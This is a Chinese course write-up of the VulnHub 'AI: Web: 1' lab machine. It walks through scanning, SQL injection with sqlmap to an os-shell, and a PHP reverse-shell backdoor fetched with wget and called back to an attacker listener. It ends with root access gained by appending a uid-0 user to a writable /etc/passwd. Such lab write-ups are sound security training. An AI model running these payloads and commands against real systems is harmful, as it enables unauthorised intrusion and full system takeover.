轻院课程-VulnHub-AI-web-1.0靶机渗透
写在开头:方法不唯一,本篇所使用的方法较为简单
靶机介绍
难度:中级
网络:DHCP
网络模式:NAT
该框旨在测试渗透测试人员的技能。目标很简单。从 /root/flag.txt 获取标志。 枚举框,获取低特权 shell,然后将权限升级到 root
靶机下载地址:
AI: Web: 1 ~ VulnHub
目标:获取 root 特权、拿到flag
环境搭建
将下载的压缩包解压至虚拟机相关目录
虚拟机网络配置
环境部署成功后靶机如图所示:
攻击流程
信息收集
主机发现:
┌──(root㉿kali)-[~]└─# arp-scan -l#命令解释:arp-scan -l 的作用:发现主机:在本地网络上发送 ARP 请求,以识别所有已启动且正在监听的设备获取 MAC 地址:对于每个响应的设备,arp-scan 会记录其 MAC 地址获取 IP 地址:同时,也会记录设备的 IP 地址输出结果:最后,会输出一个列表,显示所有发现的设备及其对应的 IP 和 MAC 地址
在这里可以看见主机 10.10.0.128 存活,(10.10.0. 1是手工分配的宿主机ip、10.10.0.2 为设置的网关、10.10.0.254 为设置的保留地址),接下来对目标地址进行端口扫描
┌──(root㉿kali)-[~]└─# nmap -A -p- 10.10.0.128命令解释:-A:进行 OS 检测(操作系统检测)、版本检测、脚本扫描和traceroute。它是一个方便的选项,用于获取目标主机尽可能多的信息-p-:扫描目标主机上的所有端口(从1到65535);- 符号在 nmap 中通常表示一个范围的开始,而 - 自身表示范围的结束,因此 -p- 表示从1到65535的所有端口10.10.0.128:目标ip地址
由上图看到,目标主机只开放了 80 端口,并且为 apache协议开放的 httpd 服务,这里使用浏览器访问
浏览器键入:
http://10.10.0.128
在网站根目录下并没有发现有用的信息,这里便进一步做信息收集
目录爆破:
dirb http://10.10.0.128
浏览器访问响应码200的网页
浏览器键入url1:
http://10.10.0.128/index.html
浏览器键入url2:
http://10.10.0.128/robots.txt
robots.txt 中给了两个目录,尝试使用浏览器访问
浏览器键入目录1:
http://10.10.0.128/m3diNf0/
浏览器键入目录2:
http://10.10.0.128/se3reTdir777/uploads/
无权限访问,进一步对目录爆破
敏感目录扫描:
m3diNf0 目录扫描
┌──(root㉿kali)-[~]└─# dirb http://10.10.0.128/m3diNf0/命令解释:dirb:目录扫描的工具http://10.10.0.128/m3diNf0/: 是 dirb 将要扫描的 URL
扫描到 info.php ,一般这种字样的文件都是用来展示一些信息的,这里使用浏览器访问
浏览器键入:
http://10.10.0.128/m3diNf0/info.php
主要信息:
User/Group: www-data(33)/33:
Web 服务器正在以 www-data 用户和组运行。在 Linux系统中,www-data 通常是一个预设的用户和组,专门用于运行 Web 服务。数字 33 是该用户和组的 ID(标识符)。
Server Root: /etc/apache2
Server Root 指的是 Apache Web 服务器的配置文件所在的目录。在这里,是 /etc/apache2,这是 Apache 在 Debian、Ubuntu 和基于它们的发行版中的默认位置。这个目录包含了 Apache 的主要配置文件和模块.
DOCUMENT_ROOT: /home/www/html/web1x443290o2sdf92213
DOCUMENT_ROOT 是 Apache 配置中的一个重要指令,它定义了 Web 服务器的根目录。表示服务器提供的 Web 页面和文件将从此目录中提供。在 URL 中没有指定路径时,会默认显示这个目录下的 index.html 或其他默认页面。
CONTEXT_DOCUMENT_ROOT: /home/www/html/web1x443290o2sdf92213
CONTEXT_DOCUMENT_ROOT 通常与虚拟主机或特定的 Web 应用程序上下文相关。指定了特定虚拟主机或应用程序的根目录。在此,与 DOCUMENT_ROOT 相同,表示是一个简单的 Web 服务器配置,没有为不同的虚拟主机或应用程序设置不同的上下文。
se3reTdir777 目录扫描:
┌──(root㉿kali)-[~]└─# dirb http://10.10.0.128/se3reTdir777/
扫到 index.php,浏览器访问
浏览器键入:
http://10.10.0.128/se3reTdir777/index.php
SQL注入:
可见,这里有一个提交窗口,这里提交一个 1
id为 1 的用户查询出来了,可能存在sql注入漏洞,这里提交一个单引号 ’
提交单引号:
'
这个报错很显然闭合方式是单引号闭合
这里使用这个语句可以看到成功执行,前面的判断正确的,这里抓包看一下它提交数据的地方
考录到很多童鞋不会使用 burp 这里使用浏览器抓包
这里可以看到其是用 post 提交了 uid 和 Operation 两个参数
sqlmap获取shell
这里使用 sqlmap 获取 shell
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs#命令解释:-u:这个选项后面跟随的是要测试的 URL--data:这个选项用于发送 POST 数据到服务器;在这里,"uid=1&Operation=Submit" 是作为 POST 请求发送的数据,模拟了一个可能的登录请求或类似的操作,其中 uid 是用户 ID,Operation=Submit 是触发操作的按钮。--dbs:这个选项告诉 sqlmap 尝试列出目标数据库服务器上的所有数据库;这是 SQL 注入攻击的一个常见目标,用于枚举后端数据库的信息。
这里可以看到有两个数据库:
aiweb1
information_schema
查看数据库:
aiweb1数据库
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables#解释命令:-D:这个选项后面跟随的是数据库的名称;在此,aiweb1 是目标数据库的名称,sqlmap 将尝试在该数据库上执行 SQL 注入攻击--tables:这个选项告诉 sqlmap 尝试列出指定数据库中的所有表
user
systemUser
得出两个表,先看 user 表:
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user –dump#命令解释:-T:这个选项后面跟随的是表的名称;这里,user 是目标数据库中的目标表的名称,sqlmap 将尝试获取该表的内容。--dump:这个选项告诉 sqlmap 尝试导出指定表中的数据;通常用于获取敏感信息,如用户名、密码等。
这个数据是在 web 页面输入数字就可以直接拿到的,很显然没有什么太大的作用,这里看另一个表 systemUser
插入课堂问题
学习通上的问题:
得到数据库名称是什么?
通过上述部署得出
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs
得出数据库名称:
aiweb1
information_schema
得到a开头的数据库中数据表名称是什么?
a开头,这里特指aiweb1
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 –tables
得出表名:
user
systemUser
得到u开头的数据表中表头名称是什么?提醒:大小写敏感。
u开头,这里特指user
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns
得出表头:
firstName
Id
lastName
得到f开头的列中的行记录名称是什么?提醒:大小写敏感。
f开头,这里特指firstName
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user -C firstName –dump
得出行记录名称:
admin
root
mysql
继续往下操作
systemUser 数据库
这里看另外一个表 systemUser
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser –dump
这里有几个选项注意一下:
字典选择 1 其他默认即可
得出三个密码,解码后发现不是有用密码
在数据库中拿不到有用信息,这里看一下当前用户权限
查看当前用户权限
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" --privileges#命令解释:--privileges:这个选项告诉 sqlmap 尝试枚举数据库用户的权限。这可以帮助确定数据库用户可以执行哪些类型的数据库操作,例如读取数据、写入数据、执行管理任务等。
上图可见有文件操作权限,这里直接使用 --os-shell 参数
┌──(root㉿kali)-[~]└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell#命令解释:--os-shell:这个选项告诉 sqlmap 尝试获取操作系统的 shell。如果成功,这将允许攻击者在数据库服务器上执行操作系统命令,这是一个非常强大的功能,通常用于进一步的系统入侵和数据泄露。
这是一个 php 服务,这里使用默认即可
这里文件位置 选择 2 自定义,前面在 info.php 文件中可以看到,目标目录不是常规的目录,所以这里需要自定义木马存放目录
路径:
/home/www/html/web1x443290o2sdf92213
权限报错:
那这里将目录换成前面的 upload 目录
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
拿到 shell
反弹 shell
查看靶机是否有 python
编写后门
┌──(root㉿kali)-[~]└─# cat webshell.php <?php$sock=fsockopen("10.10.0.6",8888);exec("/bin/sh -i <&3 >&3 2>&3");?>
#语句解释: $sock=fsockopen(“10.10.0.6”,8888);:这行代码使用 fsockopen 函数打开一个到 IP 10.10.0.6 的 8888 端口的 socket 连接
exec(“/bin/sh -i <&3 >&3 2>&3”);:exec() 函数执行一个 shell 命令。这里的命令是 /bin/sh -i,它启动了一个交互式的 shell 会话。<&3 >&3 2>&3 是重定向操作,它将标准输入(stdin)、标准输出(stdout)和标准错误(stderr)都绑定到文件描述符 3 上。在这个上下文中,文件描述符 3 是之前通过 fsockopen() 打开的 socket 连接。这意味着 shell 会话的所有输入和输出都会通过这个 socket 连接发送和接收
建立简易服务器:
python2内置了一个简单的HTTP服务器,只需要在命令行下面敲一行命令,一个HTTP服务器就搭建起来了
┌──(root㉿kali)-[~]└─# python -m SimpleHTTPServer 9999#命令解释:-m:这个选项告诉 Python 解释器,接下来的参数是一个模块名,而不是一个脚本文件。http.server:这是 Python 3.x 版本中的一个标准库模块,它提供了一个简单的 HTTP 服务器功能。9999:这是服务器将要监听的端口号(可自定义)
浏览器测试可用性:
搭建成功
下载后门文件到靶机
回到目标shell,下载后面文件
os-shell> wget -S http://10.10.0.6:9999/webshell.php
下载成功,遇到下载失败时,请多尝试几次
开启端口监听
┌──(root㉿kali)-[~]└─# nc -lvp 8888
运行上传文件
os-shell> php webshell.php
提权
交互式:
为了显示好看一些,这里使用python转换成交互式shell
┌──(root㉿kali)-[~]└─# python -c 'import pty;pty.spawn("/bin/bash")'#命令解释:这个 Python 命令用于在一个终端中生成一个交互式的 Bash Shell。它利用了 Python 的 pty 模块来生成一个伪终端(pseudo-terminal),然后在该伪终端上运行 /bin/bash ,从而创建一个交互式的 Bash Shell
查看当前用户
whoami、id
查看当前内核版本
uname -a
检索没有发现相关的漏洞文件
使用sudo -l 查看相关配置,发现需要当前用户密码:
sudo -l
发现需要当前用户密码
查看 /etc/passwd 文件权限:
ls -la /etc/passwd
发现了这个 etc/passwd 这个文件所有者和所属组都是当前用户
思路:
这个文件中其中包含了登录 Linux 系统所必需的每个用户的信息。它保存用户的有用信息,这里修改这个文件生成一个新的有 root 权限的用户即可,先使用 openssl 来生成一个新用户
添加一个用户(记得先加密密码):
openssl passwd -1 -salt fxxkyou Aa123echo 'fxxkyou:$1$fxxkyou$OTZUTBd0SjyJ.2lzW/Mml/:0:0:root:/root:/bin/bash'>>/etc/passwd#这些命令都不解释了,较为基础
切换创建的用户:
su - fxxkyou输入密码查看id
查看权限,已经是root权限
搜索 flag
find / -name flag*
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
结束